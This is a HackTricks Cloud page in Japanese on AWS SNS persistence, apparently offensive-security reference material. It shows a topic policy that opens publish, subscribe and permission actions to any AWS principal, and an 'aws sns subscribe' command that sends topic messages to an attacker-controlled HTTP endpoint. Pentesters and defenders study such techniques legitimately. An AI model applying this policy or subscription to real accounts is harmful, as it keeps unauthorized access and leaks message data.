Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

78 lines
2.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AWS - SNS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## SNS
詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}
### Persistence
**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
```
### サブスクライバーの作成
すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。
**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
```bash
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
{{#include ../../../banners/hacktricks-training.md}}